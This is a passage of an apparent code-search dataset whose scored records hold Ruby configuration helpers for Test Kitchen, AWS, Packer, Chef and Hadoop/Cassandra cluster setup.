log_overwrite,\n debug: debug,\n }\n end", "title": "" }, { "docid": "889b3119736a638e77c6b6976851766a", "score": "0.5616342", "text": "def ec2_driver_config\n {\n 'name' => 'ec2',\n 'aws_ssh_key_id' => \"#{cookbook_name}-kitchen\",\n 'security_group_ids' => ENV['AWS_SECURITY_GROUP_ID'] ? [ENV['AWS_SECURITY_GROUP_ID']] : [DEFAULT_EC2_SECURITY_GROUP_ID],\n 'subnet_id' => ENV['AWS_SUBNET_ID'] || DEFAULT_EC2_SUBNET_ID,\n # Because kitchen-rackspace also has a thing called flavor_id.\n 'flavor_id' => nil,\n }\n end", "title": "" }, { "docid": "cfeb93cb3d0bcde3906c1001aabbd4d0", "score": "0.5582745", "text": "def sanitize_fields_hash\n @sanitize_fields_hash ||= extract_configuration(:sanitize_fields, configuration, [])\n end", "title": "" }, { "docid": "231b8f2362f5f94df3b8b6b1a1ab5ecd", "score": "0.5356443", "text": "def finalize_config!(instance)\n super.tap do\n # Force the use of the Kubernetes transport since it isn't much use\n # without that.\n instance.transport = Kitchen::Transport::Kubernetes.new(config)\n # Leave room for the possibility of other provisioners in the future,\n # but force some options we need.\n if instance.provisioner.is_a?(Kitchen::Provisioner::ChefBase)\n instance.provisioner.send(:config).update(\n require_chef_omnibus: false,\n product_name: nil,\n chef_omnibus_root: '/opt/chef',\n sudo: false,\n )\n end\n # Ditto to the above, other verifiers will need their own hacks, but\n # this is a start at least.\n if instance.verifier.is_a?(Kitchen::Verifier::Busser)\n instance.verifier.send(:config).update(\n root_path: '/tmp/kitchen/verifier',\n sudo: false,\n )\n elsif defined?(Kitchen::Verifier::Inspec) && instance.verifier.is_a?(Kitchen::Verifier::Inspec)\n # Monkeypatch kitchen-inspec to use my copy of the kubernetes train transport.\n # Pending https://github.com/chef/train/pull/205 and https://github.com/chef/kitchen-inspec/pull/148\n # or https://github.com/chef/kitchen-inspec/pull/149.\n require 'kitchen/verifier/train_kubernetes_hack'\n _config = config # Because closure madness.\n old_runner_options = instance.verifier.method(:runner_options)\n instance.verifier.send(:define_singleton_method, :runner_options) do |transport, state = {}, platform = nil, suite = nil|\n if transport.is_a?(Kitchen::Transport::Kubernetes)\n # Initiate 1337 ha><0rz.\n {\n \"backend\" => \"kubernetes_hack\",\n \"logger\" => logger,\n \"pod\" => state[:pod_id],\n \"container\" => \"default\",\n \"kubectl_path\" => _config[:kubectl_path],\n \"context\" => _config[:context],\n }.tap do |runner_options|\n # Copied directly from kitchen-inspec because there is no way not to. Sigh.\n runner_options[\"color\"] = (config[:color].nil? ? true : config[:color])\n runner_options[\"format\"] = config[:format] unless config[:format].nil?\n runner_options[\"output\"] = config[:output] % { platform: platform, suite: suite } unless config[:output].nil?\n runner_options[\"profiles_path\"] = config[:profiles_path] unless config[:profiles_path].nil?\n runner_options[:controls] = config[:controls]\n end\n else\n old_runner_options.call(transport, state, platform, suite)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "6f416f50a3370c7381a7bcea41b64f8b", "score": "0.5346135", "text": "def sends_aws_keys settings\n settings[:user_data][:attributes][:aws] ||= {}\n settings[:user_data][:attributes][:aws][:access_key] ||= Settings[:access_key]\n settings[:user_data][:attributes][:aws][:secret_access_key] ||= Settings[:secret_access_key]\n settings[:user_data][:attributes][:aws][:aws_region] ||= Settings[:aws_region]\nend", "title": "" }, { "docid": "b517203cc6ddbd8d756fef844e1da267", "score": "0.52820057", "text": "def pretty_hash\n {}.tap do |h|\n h[:name] = cookbook_name unless cookbook_name.blank?\n h[:version] = version unless version.blank?\n h[:description] = description unless description.blank?\n h[:author] = maintainer unless maintainer.blank?\n h[:email] = maintainer_email unless maintainer_email.blank?\n h[:license] = license unless license.blank?\n h[:platforms] = platforms.to_hash unless platforms.blank?\n h[:dependencies] = dependencies.to_hash unless dependencies.blank?\n end\n end", "title": "" }, { "docid": "8e737fec66926ba298c001de71daabcc", "score": "0.5272994", "text": "def put_config(opts)\n opts = check_params(opts,[:instance_format,:data])\n super(opts)\n end", "title": "" }, { "docid": "3b54b517523b68fe4dc1e6f783d3e8f0", "score": "0.5272276", "text": "def config\n {\n :APP_NAME => APP_NAME,\n :APP_ENV => APP_ENV,\n :AWS_ACCESS_KEY_ID => AMI_ACCESS_KEY_ID,\n :AWS_SECRET_ACCESS_KEY => AMI_SECRET_ACCESS_KEY\n }\nend", "title": "" }, { "docid": "ae3d1ad07ec1cd7e777372abf241790d", "score": "0.52617157", "text": "def parse_secret_hash(config)\n mdata = /(?<=\\s{3}secret hash\\s)(md5|sha512)$/.match(config)\n { secret_hash: mdata.nil? ? DEFAULT_SECRET_HASH : mdata[1] }\n end", "title": "" }, { "docid": "4825e2535dd6acb9368a389addfa0bbc", "score": "0.5250536", "text": "def to_config\n HashWithIndifferentAccess.new({\n type: self.class.to_s,\n config: self.config,\n prices: self.prices,\n source_type: self.source\n })\n end", "title": "" }, { "docid": "01f3bc4d397728752004cdc5d1c2cbd1", "score": "0.5245678", "text": "def config_metadata\n Mash.new(\n encryption_format: config[:encryption_format],\n decryption_format: config[:decryption_format],\n encrypted_keys: encrypted_keys,\n encrypt: true,\n secret: secret\n )\n end", "title": "" }, { "docid": "0f7bf584d6d77f97eddf6c80644a383d", "score": "0.5203627", "text": "def to_h\n result = {\n \"name\" => @name,\n \"validator\" => @validator,\n \"admin\" => @admin,\n \"chef_type\" => \"client\",\n }\n result[\"private_key\"] = @private_key unless @private_key.nil?\n result[\"public_key\"] = @public_key unless @public_key.nil?\n result[\"create_key\"] = @create_key unless @create_key.nil?\n result\n end", "title": "" }, { "docid": "e1519f03042b8b3cdc9e590f139d75fa", "score": "0.51998097", "text": "def sanitize_config(configuration={})\n if configuration.is_a?(OpenStruct)\n configuration = configuration.send(:table)\n end\n\n config = configuration.reject do |key,value|\n !(%w(stdout stderr stdin logger).map(&:to_sym).include?(key))\n end\n\n config\n end", "title": "" }, { "docid": "48ef7a030256d9e049d3a1c577dab328", "score": "0.5187022", "text": "def packer_config\n JSON.dump(JSON.parse(super).tap do |config|\n config['builders'] = [\n {\n \"type\" => \"vsphere\",\n \"vcenter_server\" => Stemcell::Builder::validate_env('VCENTER_SERVER'),\n \"username\" => Stemcell::Builder::validate_env('VCENTER_USERNAME'),\n \"password\" => Stemcell::Builder::validate_env('VCENTER_PASSWORD'),\n \"insecure_connection\" => true,\n\n \"template\" => Stemcell::Builder::validate_env('BASE_TEMPLATE'),\n \"folder\" => Stemcell::Builder::validate_env('VCENTER_VM_FOLDER'),\n \"vm_name\" => \"packer-vmx\",\n \"host\" => Stemcell::Builder::validate_env('VCENTER_HOST'),\n \"resource_pool\" => \"\",\n # \"ssh_username\" => 'Administrator',\n # \"ssh_password\" => Stemcell::Builder::validate_env('ADMINISTRATOR_PASSWORD'),\n 'communicator' => 'winrm',\n 'winrm_username' => 'Administrator',\n 'winrm_password' => Stemcell::Builder::validate_env('ADMINISTRATOR_PASSWORD'),\n 'winrm_timeout' => '3h',\n 'winrm_insecure' => true,\n \"CPUs\" => ENV.fetch('NUM_VCPUS', '4'),\n \"RAM\" => ENV.fetch('MEM_SIZE', '4096'),\n }\n ]\n end)\n end", "title": "" }, { "docid": "91859527a222184d3f5ae4078755ea8c", "score": "0.5172375", "text": "def build_logstash_configuration()\n logstash_configuration= LogStash::Outputs::MicrosoftSentinelOutputInternal::LogstashLoganalyticsOutputConfiguration::new(@client_app_Id, @client_app_secret, @tenant_id, @data_collection_endpoint, @dcr_immutable_id, @dcr_stream_name, @compress_data, @create_sample_file, @sample_file_path, @logger)\n logstash_configuration.key_names = @key_names\n logstash_configuration.plugin_flush_interval = @plugin_flush_interval\n logstash_configuration.decrease_factor = @decrease_factor\n logstash_configuration.amount_resizing = @amount_resizing\n logstash_configuration.max_items = @max_items\n logstash_configuration.proxy_aad = @proxy_aad || @proxy || ENV['http_proxy']\n logstash_configuration.proxy_endpoint = @proxy_endpoint || @proxy || ENV['http_proxy']\n logstash_configuration.retransmission_time = @retransmission_time\n \n return logstash_configuration\n end", "title": "" }, { "docid": "a666cb2b99ed47297d38cb0e674d6f13", "score": "0.512175", "text": "def sanitize_config(conf={}, keep=[], dupe=false)\n \t\t(conf = conf.clone) if dupe\n \t\tconf.reject!{|k,v| (!CONFIG_KEYS.include?(k.to_s) or [{},[],''].include?(v)) and !keep.include? k.to_s }\n \t\tconf\n \tend", "title": "" }, { "docid": "758329109c600f6aa63f37af017e03f5", "score": "0.5106948", "text": "def to_hash\n ChefConfig::Config.save(true)\n end", "title": "" }, { "docid": "93bde85b259bc3ce9b09e8114f51a879", "score": "0.5105546", "text": "def to_hash\n self.config.to_hash\n end", "title": "" }, { "docid": "656636a0dbd858310e558bb2e03d2119", "score": "0.5066879", "text": "def configure_aws(config)\n raise TypeError, \"AWS config must be hash\" unless config.is_a?(Hash)\n @aws_config = config\n end", "title": "" }, { "docid": "8bfde6a627dd61078326eee09e1d3f5a", "score": "0.5027472", "text": "def initialize(input_hash)\n @region = input_hash[:region]\n @price = input_hash[:price]\n @flavor = input_hash[:flavor]\n end", "title": "" }, { "docid": "29ae383c461cfde2388981877aebff5a", "score": "0.50265115", "text": "def to_h\n config\n end", "title": "" }, { "docid": "685d61ed4659b8a81877793d6e4bc9d2", "score": "0.50195473", "text": "def ec2_instance_data # rubocop:disable Metrics/MethodLength, Metrics/AbcSize\n i = {\n :placement => {\n :availability_zone => config[:availability_zone]\n },\n :instance_type => config[:instance_type],\n :ebs_optimized => config[:ebs_optimized],\n :image_id => config[:image_id],\n :key_name => config[:aws_ssh_key_id],\n :subnet_id => config[:subnet_id],\n :private_ip_address => config[:private_ip_address]\n }\n i[:block_device_mappings] = block_device_mappings unless block_device_mappings.empty?\n i[:security_group_ids] = config[:security_group_ids] if config[:security_group_ids]\n i[:user_data] = prepared_user_data if prepared_user_data\n if config[:iam_profile_name]\n i[:iam_instance_profile] = { :name => config[:iam_profile_name] }\n end\n if !config.fetch(:associate_public_ip, nil).nil?\n i[:network_interfaces] =\n [{\n :device_index => 0,\n :associate_public_ip_address => config[:associate_public_ip],\n :delete_on_termination => true\n }]\n # If specifying `:network_interfaces` in the request, you must specify\n # network specific configs in the network_interfaces block and not at\n # the top level\n if config[:subnet_id]\n i[:network_interfaces][0][:subnet_id] = i.delete(:subnet_id)\n end\n if config[:private_ip_address]\n i[:network_interfaces][0][:private_ip_address] = i.delete(:private_ip_address)\n end\n if config[:security_group_ids]\n i[:network_interfaces][0][:groups] = i.delete(:security_group_ids)\n end\n end\n i\n end", "title": "" }, { "docid": "6039eab9ebc80d632fc737362664a25c", "score": "0.50148684", "text": "def to_hash(spec)\n if spec.respond_to?(:to_spec)\n to_hash spec.to_spec\n elsif Hash === spec\n rake_check_options spec, :id, :group, :type, :classifier, :version, :scope\n # Sanitize the hash and check it's valid.\n spec = ARTIFACT_ATTRIBUTES.inject({}) { |h, k| h[k] = spec[k].to_s if spec[k] ; h }\n fail \"Missing group identifier for #{spec.inspect}\" unless spec[:group]\n fail \"Missing artifact identifier for #{spec.inspect}\" unless spec[:id]\n fail \"Missing version for #{spec.inspect}\" unless spec[:version]\n spec[:type] = (spec[:type] || DEFAULT_TYPE).to_sym\n spec\n elsif String === spec\n group, id, type, version, *rest = spec.split(':').map { |part| part.empty? ? nil : part }\n unless rest.empty?\n # Optional classifier comes before version.\n classifier, version = version, rest.shift\n fail \"Expecting <group:id:type:version> or <group:id:type:classifier:version>, found <#{spec}>\" unless rest.empty?\n end\n to_hash :group=>group, :id=>id, :type=>type, :version=>version, :classifier=>classifier\n else\n fail 'Expecting a String, Hash or object that responds to to_spec'\n end\n end", "title": "" }, { "docid": "080c1698dc57d250114196fd40cdf4ca", "score": "0.5004476", "text": "def aws_config\n Hash(\n region: AwsSettings.instance.region,\n bucket: AwsSettings.instance.bucket,\n identity_id: AwsSettings.instance.identity_id,\n identity_pool_id: AwsSettings.instance.identity_pool_id,\n ).merge( StorageService.paths )\n end", "title": "" }, { "docid": "71f0ccc63a6eba80b01a9bcf2c5b28ec", "score": "0.4997906", "text": "def config_hash\n certs_path = File.join(__dir__, '..', 'our_certs')\n\n { contract_id: '356936003', # from CP signed contract\n customer_id: 'L03051', # from CP signed contract\n certificate_path: File.join(certs_path, 'squared_VCA12032726_2022.pem'),\n private_key_password: File.read(File.join(certs_path, 'keypass.txt')),\n private_key_path: File.join(certs_path, 'squared_private_2022.key'),\n sending_post_office_code: 12_000 }\n end", "title": "" }, { "docid": "79f75e2febbe92a65717669fa7c62a41", "score": "0.49870327", "text": "def generate_config\n # define email\n puts \"enter the email you use to log into Harvest:\"\n email = gets\n # define password\n puts \"enter the password for this Harvest account:\"\n password = gets\n # define subdomain\n puts \"enter the subdomain for your Harvest account:\"\n subdomain = gets\n\nstr = <<EOS\nclass HarvestConfig\ndef self.attrs(overwrite = {})\n{\n :email => \"#{email.chomp!}\", \n :password => \"#{password.chomp!}\", \n :subdomain => \"#{subdomain.chomp!}\",\n :has_ssl => false,\n :user_agent => \"Ruby/HarvestThings\"\n}.merge(overwrite)\nend\nend\nEOS\n \n File.open(CONFIG_PATH, 'w') {|f| f.write(str) }\n end", "title": "" }, { "docid": "bffae9e1186b0c02b1b6de875724ddff", "score": "0.4986041", "text": "def to_configure_vapp_hash\n {\n :name => name,\n :cpus => cpus,\n :memory => memory,\n :disks => disks.map {|d| { :number => d.address.to_s, :size => d.vcloud_size, :resource => d.vcloud_size.to_s } }\n }\n end", "title": "" }, { "docid": "bffae9e1186b0c02b1b6de875724ddff", "score": "0.4986041", "text": "def to_configure_vapp_hash\n {\n :name => name,\n :cpus => cpus,\n :memory => memory,\n :disks => disks.map {|d| { :number => d.address.to_s, :size => d.vcloud_size, :resource => d.vcloud_size.to_s } }\n }\n end", "title": "" }, { "docid": "6d565beaa23802b93e4dfbff4cc4cf70", "score": "0.49838215", "text": "def initialize(auth_hash = nil, region = DEFAULT_REGION)\n if ! auth_hash.nil?\n access_key = auth_hash[:access_key]\n secret = auth_hash[:secret]\n region = auth_hash[:region].nil? ? region : auth_hash[:region]\n else\n config_from_file = self.class.read_config\n if config_from_file.nil?\n puts \"ERROR: No AWS configuration - run XXXX\"\n exit(1)\n end\n access_key = config_from_file[:access_key]\n secret = config_from_file[:secret]\n region = config_from_file[:region].nil? ? region : config_from_file[:region]\n end\n create_s3(access_key, secret, region)\n end", "title": "" }, { "docid": "33e8b9c55445da1c3203102e57a2d7f2", "score": "0.49716732", "text": "def to_yaml\n kitchen_config.to_yaml.gsub(/---[ \\n]/, '')\n end", "title": "" }, { "docid": "12094c80aa2701030573dd4385d70f34", "score": "0.49532852", "text": "def to_h\n res = {\n email: email,\n api_key: api_key,\n org_id: org_id,\n mkp_name: mkp_name,\n os_name: os_name,\n version: version,\n assemblyname: assemblyname,\n componentname: componentname,\n domain: domain,\n region: region,\n resource: resource,\n storage_hddtype: storage_hddtype,\n flavor_id: flavor_id,\n oneclick: oneclick,\n bitnami_username: bitnami_username,\n bitnami_password: bitnami_password,\n app_username: app_username,\n app_password: app_password,\n sshkey: keypairname,\n root_username: root_username,\n root_password: keypairname,\n keypairoption: keypairoption,\n number_of_units: number_of_units,\n cattype: cattype,\n options: options,\n envs: envs,\n provider: provider,\n backup: backup,\n backup_name: backup_name,\n backup_id: backup_id,\n public_ipv4: public_ipv4,\n private_ipv4: private_ipv4,\n public_ipv6: public_ipv6,\n private_ipv6: private_ipv6,\n quota_ids: quota_ids,\n user_launch_patternname: user_launch_patternname,\n }\n\n set_git(res)\n res\n end", "title": "" }, { "docid": "c247436dbc0c62ce8c1d46b8584e91a7", "score": "0.49516454", "text": "def pretty_hash\n {}.tap do |h|\n h[:name] = cookbook_name if cookbook_name && cookbook_name =~ /\\S/\n h[:version] = version if version && version =~ /\\S/\n h[:description] = description if description && description =~ /\\S/\n h[:author] = maintainer if maintainer && maintainer =~ /\\S/\n h[:email] = maintainer_email if maintainer_email && maintainer_email =~ /\\S/\n h[:license] = license if license && license =~ /\\S/\n h[:platforms] = platforms.to_hash if platforms && !platforms.empty?\n h[:dependencies] = dependencies.to_hash if dependencies && !dependencies.empty?\n end\n end", "title": "" }, { "docid": "8604a5b391c620667abef2412ddd118d", "score": "0.493085", "text": "def aws_credentials\n {}\n end", "title": "" }, { "docid": "19136070e2af436661f018d27f0ee0e9", "score": "0.49252877", "text": "def process_config(hash)\n return _compile(hash).to_hash_struct unless keys_to_sym?\n _compile(hash).keys_to_sym.to_hash_struct\n end", "title": "" }, { "docid": "14833467a2de95def13b7c54e4976989", "score": "0.4924255", "text": "def modify_cloud_config(parsed_hash, nodes)\n parsed_hash_internal_ips = Marshal.load(Marshal.dump(parsed_hash))\n\n parsed_hash[:ssh_key] = if @provider == 'aws'\n File.expand_path('~/.ssh') + '/' + @credentials[:aws_key]\n elsif @provider == 'openstack'\n File.expand_path('~/.ssh') + '/' + @credentials[:os_ssh_key]\n elsif @provider == 'rackspace'\n File.split(File.expand_path(@credentials[:rackspace_ssh_key])).first + '/' +\n File.basename(File.expand_path(@credentials[:rackspace_ssh_key]), '.pub')\n end\n parsed_hash[:ssh_user] = if @provider == 'openstack'\n @credentials[:os_ssh_user]\n else\n if parsed_hash[:cloud_os_type].downcase == 'centos'\n 'root'\n elsif parsed_hash[:cloud_os_type].downcase == 'ubuntu' && parsed_hash[:cloud_os_type].downcase == 'aws'\n 'ubuntu'\n else\n 'root'\n end\n end\n parsed_hash[:controller] = find_fqdn_for_tag(nodes, 'controller').first\n if parsed_hash[:hadoop_deploy] != 'disabled'\n parsed_hash[:hadoop_deploy][:namenode] = find_fqdn_for_tag(nodes, 'namenode')\n if parsed_hash[:hadoop_deploy][:mapreduce] != 'disabled'\n parsed_hash[:hadoop_deploy][:mapreduce][:master] = find_fqdn_for_tag(nodes, 'jobtracker').first\n end\n if parsed_hash[:hadoop_deploy][:ha] == 'disabled'\n parsed_hash[:hadoop_deploy][:secondarynamenode] = find_fqdn_for_tag(nodes, 'secondarynamenode').first\n end\n parsed_hash[:worker_nodes] = find_fqdn_for_tag(nodes, 'slaves')\n if parsed_hash[:hadoop_deploy][:ha] == 'enabled'\n parsed_hash[:hadoop_deploy][:journal_quorum] = find_fqdn_for_tag(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled'\n parsed_hash[:hbase_deploy][:master] = find_fqdn_for_tag(nodes, 'hbasemaster')\n end\n # volumes to mount points\n worker_volumes = parsed_hash[:hadoop_deploy][:worker_volumes]\n parsed_hash[:hadoop_deploy][:data_dirs] = if worker_volumes\n Array.new(worker_volumes[:count]){ |i| \"/data/hadoop/#{i+1}\" }\n else\n ['/data/hadoop']\n end\n master_volumes = parsed_hash[:hadoop_deploy][:master_volumes]\n parsed_hash[:hadoop_deploy][:master_dirs] = if master_volumes\n Array.new(master_volumes[:count]){ |i| \"/data/hadoop/#{i+1}\" }\n else\n ['/data/hadoop']\n end\n end\n\n if parsed_hash[:cassandra_deploy] != 'disabled'\n parsed_hash[:cassandra_deploy][:nodes] = find_fqdn_for_tag(nodes, 'cassandra')\n parsed_hash[:cassandra_deploy][:seeds] = find_fqdn_for_tag(nodes, 'cassandraseed')\n cassandra_volumes = parsed_hash[:cassandra_deploy][:volumes]\n cassandra_mounts = if cassandra_volumes\n Array.new(cassandra_volumes[:count]){|i| \"/data/cassandra/#{i+1}\" }\n end\n parsed_hash[:cassandra_deploy][:data_dirs] = if cassandra_mounts\n if cassandra_mounts.size > 1\n cassandra_mounts[0..cassandra_mounts.size-2].map { |dir| dir = dir + '/data' }\n else\n cassandra_mounts.first + '/data'\n end\n else\n ['/var/lib/cassandra/data']\n end\n parsed_hash[:cassandra_deploy][:commitlog_dirs] = if cassandra_mounts\n if cassandra_mounts.size > 1\n cassandra_mounts.last + '/commitlog'\n else\n cassandra_mounts.first + '/commitlog'\n end\n else\n '/var/lib/cassandra/commitlog'\n end\n parsed_hash[:cassandra_deploy][:saved_caches_dirs] = if cassandra_mounts\n if cassandra_mounts.size > 1\n cassandra_mounts.last + '/saved_caches'\n else\n cassandra_mounts.first + '/saved_caches'\n end\n else\n '/var/lib/cassandra/saved_caches'\n end\n end\n\n if parsed_hash[:solr_deploy] != 'disabled'\n if parsed_hash[:solr_deploy][:hdfs_integration] == 'disabled'\n parsed_hash[:solr_deploy][:nodes] = find_fqdn_for_tag(nodes, 'solr')\n else\n parsed_hash[:solr_deploy][:nodes] = find_fqdn_for_tag(nodes, 'slaves')\n end\n end\n\n if parsed_hash[:kafka_deploy] != 'disabled'\n parsed_hash[:kafka_deploy][:brokers] = find_fqdn_for_tag(nodes, 'kafka')\n end\n\n if parsed_hash[:storm_deploy] != 'disabled'\n parsed_hash[:storm_deploy][:supervisors] = find_fqdn_for_tag(nodes, 'stormworker')\n parsed_hash[:storm_deploy][:master] = find_fqdn_for_tag(nodes, 'stormnimbus').first\n end\n #zookeepers\n if parsed_hash[:hadoop_deploy] != 'disabled' and parsed_hash[:hadoop_deploy][:ha] == 'enabled'\n parsed_hash[:zookeeper_deploy][:quorum] = find_fqdn_for_tag(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled' or\n parsed_hash[:kafka_deploy] != 'disabled' or\n parsed_hash[:storm_deploy] != 'disabled'\n unless parsed_hash[:zookeeper_deploy].has_key? :quorum\n parsed_hash[:zookeeper_deploy][:quorum] = find_fqdn_for_tag(nodes, 'zookeeper')\n end\n end\n\n # If AWS, hash with internal ips should contain private_ip\n # If RackSpace, hash with internal ips should contain fqdn\n\n parsed_hash_internal_ips[:ssh_key] = parsed_hash[:ssh_key]\n parsed_hash_internal_ips[:ssh_user] = parsed_hash[:ssh_user]\n parsed_hash_internal_ips[:controller] = find_internal_ip(nodes, 'controller').first\n if parsed_hash[:hadoop_deploy] != 'disabled'\n parsed_hash_internal_ips[:hadoop_deploy][:namenode] = find_internal_ip(nodes, 'namenode')\n if parsed_hash[:hadoop_deploy][:mapreduce] != 'disabled'\n parsed_hash_internal_ips[:hadoop_deploy][:mapreduce][:master] = find_internal_ip(nodes, 'jobtracker').first\n end\n if parsed_hash[:hadoop_deploy][:ha] == 'disabled'\n parsed_hash_internal_ips[:hadoop_deploy][:secondarynamenode] = find_internal_ip(nodes, 'secondarynamenode').first\n end\n parsed_hash_internal_ips[:worker_nodes] = find_internal_ip(nodes, 'slaves')\n if parsed_hash[:hadoop_deploy][:ha] == 'enabled'\n parsed_hash_internal_ips[:hadoop_deploy][:journal_quorum] = find_internal_ip(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled'\n parsed_hash_internal_ips[:hbase_deploy][:master] = find_internal_ip(nodes, 'hbasemaster')\n end\n parsed_hash_internal_ips[:hadoop_deploy][:data_dirs] = parsed_hash[:hadoop_deploy][:data_dirs]\n parsed_hash_internal_ips[:hadoop_deploy][:master_dirs] = parsed_hash[:hadoop_deploy][:master_dirs]\n end\n if parsed_hash[:cassandra_deploy] != 'disabled'\n parsed_hash_internal_ips[:cassandra_deploy][:nodes] = find_internal_ip(nodes, 'cassandra')\n parsed_hash_internal_ips[:cassandra_deploy][:seeds] = find_internal_ip(nodes, 'cassandraseed')\n # cassandra storage directories\n parsed_hash_internal_ips[:cassandra_deploy][:data_dirs] = parsed_hash[:cassandra_deploy][:data_dirs]\n parsed_hash_internal_ips[:cassandra_deploy][:commitlog_dirs] = parsed_hash[:cassandra_deploy][:commitlog_dirs]\n parsed_hash_internal_ips[:cassandra_deploy][:saved_caches_dirs] = parsed_hash[:cassandra_deploy][:saved_caches_dirs]\n end\n if parsed_hash[:solr_deploy] != 'disabled'\n if parsed_hash[:solr_deploy][:hdfs_integration] == 'disabled'\n parsed_hash_internal_ips[:solr_deploy][:nodes] = find_internal_ip(nodes, 'solr')\n else\n parsed_hash_internal_ips[:solr_deploy][:nodes] = find_internal_ip(nodes, 'slaves')\n end\n end\n if parsed_hash[:kafka_deploy] != 'disabled'\n parsed_hash_internal_ips[:kafka_deploy][:brokers] = find_internal_ip(nodes, 'kafka')\n end\n if parsed_hash[:storm_deploy] != 'disabled'\n parsed_hash_internal_ips[:storm_deploy][:supervisors] = find_internal_ip(nodes, 'stormworker')\n parsed_hash_internal_ips[:storm_deploy][:master] = find_internal_ip(nodes, 'stormnimbus').first\n end\n if parsed_hash[:hadoop_deploy] != 'disabled' and parsed_hash[:hadoop_deploy][:hadoop_ha] == 'enabled'\n parsed_hash_internal_ips[:zookeeper_deploy][:quorum] = find_internal_ip(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled' or\n parsed_hash[:kafka_deploy] != 'disabled' or\n parsed_hash[:storm_deploy] != 'disabled'\n unless parsed_hash_internal_ips[:zookeeper_deploy].has_key? :quorum\n parsed_hash_internal_ips[:zookeeper_deploy][:quorum] = find_internal_ip(nodes, 'zookeeper')\n end\n end\n\n return parsed_hash, parsed_hash_internal_ips\n end", "title": "" }, { "docid": "f6cfa24360da0c3c19db59ef06266651", "score": "0.49232954", "text": "def generate_vm_hash(vm_object, pool_name)\n pool_configuration = pool_config(pool_name)\n return nil if pool_configuration.nil?\n\n hostname = vm_object.summary.guest.hostName if vm_object.summary&.guest && vm_object.summary.guest.hostName\n boottime = vm_object.runtime.bootTime if vm_object.runtime&.bootTime\n powerstate = vm_object.runtime.powerState if vm_object.runtime&.powerState\n\n {\n 'name' => vm_object.name,\n 'hostname' => hostname,\n 'template' => pool_configuration['template'],\n 'poolname' => pool_name,\n 'boottime' => boottime,\n 'powerstate' => powerstate\n }\n end", "title": "" }, { "docid": "68dd3972aea17935069c6c55e9e8415c", "score": "0.49204504", "text": "def config_hash\n digest = Digest::MD5.hexdigest(\n \"#{@x}-#{@y}-#{@hires_factor}-#{@render_type}-#{@format}-#{CONVERTER_VERSION}\")\n digest\n end", "title": "" }, { "docid": "2351752c0fa0de44c51b4054019f0265", "score": "0.49180207", "text": "def tf_vars_aws\n {\n aws_region: provider.region,\n route53_zone_main_name: infra.dns.domain,\n route53_zone_this_name: infra.dns.subdomain,\n ec2_instance_type: provider.instance.type,\n ec2_key_pair: provider.instance.key_pair,\n ec2_tags: provider.instance.tags,\n ec2_ami_distro: provider.instance.ami_distro\n # lambda_filename: infra.lambda_filename\n }\n end", "title": "" }, { "docid": "8f9dd95aa7ac5847f15aa9232730f237", "score": "0.4917024", "text": "def aws_datum_params\n params.require(:aws_datum).permit(:aws_access_key, :aws_secret_key, :manifest_template)\n end", "title": "" }, { "docid": "c72975206f2a804d8fda9c93bdf07ab0", "score": "0.49056283", "text": "def finalize_config!(kitchen_instance)\n super kitchen_instance\n\n kitchen_instance\n .transport\n .tap do |transport|\n configure_inspec_connection_options(\n transport_connection_options:\n transport\n .send(\n :connection_options,\n transport.diagnose\n )\n .dup\n )\n end\n\n configure_inspec_miscellaneous_options\n end", "title": "" }, { "docid": "b73c5b83c4cb6488ec8849ed73838cd4", "score": "0.48930573", "text": "def initialize(inputs:, outputs:)\n @inputs = inputs.map do |key, value|\n [\"input_#{key}\", value]\n end.to_h\n @outputs = Hash[outputs].map do |key, value|\n [key, value.fetch(\"value\")]\n end.to_h\n @outputs.merge!(@outputs.map do |key, value|\n [\"output_#{key}\", value]\n end.to_h)\n rescue ::KeyError => key_error\n raise ::Kitchen::Terraform::Error, \"Preparing to resolve attrs failed\\n#{key_error}\"\n end", "title": "" }, { "docid": "7dfa2662312fceead08faf85e90ff6f5", "score": "0.48914242", "text": "def toKitten(**_args)\n bok = {\n \"cloud\" => \"AWS\",\n \"credentials\" => @credentials,\n \"cloud_id\" => @cloud_id,\n \"region\" => @region\n }\n\n if !cloud_desc\n MU.log \"toKitten failed to load a cloud_desc from #{@cloud_id}\", MU::ERR, details: @config\n return nil\n end\n\n if cloud_desc.tags and !cloud_desc.tags.empty?\n cloud_desc.tags.each { |tag|\n bok['tags'] ||= []\n bok['tags'] << { \"key\" => tag.key, \"value\" => tag.value }\n }\n realname = MU::Adoption.tagsToName(bok['tags'], basename: @cloud_id)\n if realname\n bok['name'] = realname\n bok['name'].gsub!(/[^a-zA-Z0-9_\\-]/, \"_\")\n end\n end\n bok['name'] ||= @cloud_id\n\n bok['min_size'] = cloud_desc.min_size\n bok['max_size'] = cloud_desc.max_size\n\n if cloud_desc.launch_configuration_name\n launch = MU::Cloud::AWS.autoscale(region: @region, credentials: @credentials).describe_launch_configurations(\n launch_configuration_names: [cloud_desc.launch_configuration_name]\n ).launch_configurations.first\n bok['basis'] = {\n \"launch_config\" => {\n \"image_id\" => launch.image_id,\n \"name\" => bok['name'],\n \"size\" => launch.instance_type\n }\n }\n end\n\n if cloud_desc.vpc_zone_identifier and\n !cloud_desc.vpc_zone_identifier.empty?\n nets = cloud_desc.vpc_zone_identifier.split(/,/)\n begin\n resp = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).describe_subnets(subnet_ids: nets).subnets.first\n bok['vpc'] = MU::Config::Ref.get(\n id: resp.vpc_id,\n cloud: \"AWS\",\n credentials: @credentials,\n type: \"vpcs\",\n subnets: nets.map { |s| { \"subnet_id\" => s } }\n )\n rescue Aws::EC2::Errors::InvalidSubnetIDNotFound => e\n if e.message.match(/The subnet ID '(subnet-[a-f0-9]+)' does not exist/)\n nets.delete(Regexp.last_match[1])\n if nets.empty?\n MU.log \"Autoscale Group #{@cloud_id} was configured for a VPC, but the configuration held no valid subnets\", MU::WARN, details: cloud_desc.vpc_zone_identifier.split(/,/)\n end\n else\n raise e\n end\n end\n end\n\n# MU.log @cloud_id, MU::NOTICE, details: cloud_desc\n\n bok\n end", "title": "" }, { "docid": "3a8a916fee9ccbf6f5cf089b36316985", "score": "0.48861423", "text": "def makehash(body)\n if ENV.include?(\"MCOLLECTIVE_PSK\")\n psk = ENV[\"MCOLLECTIVE_PSK\"]\n 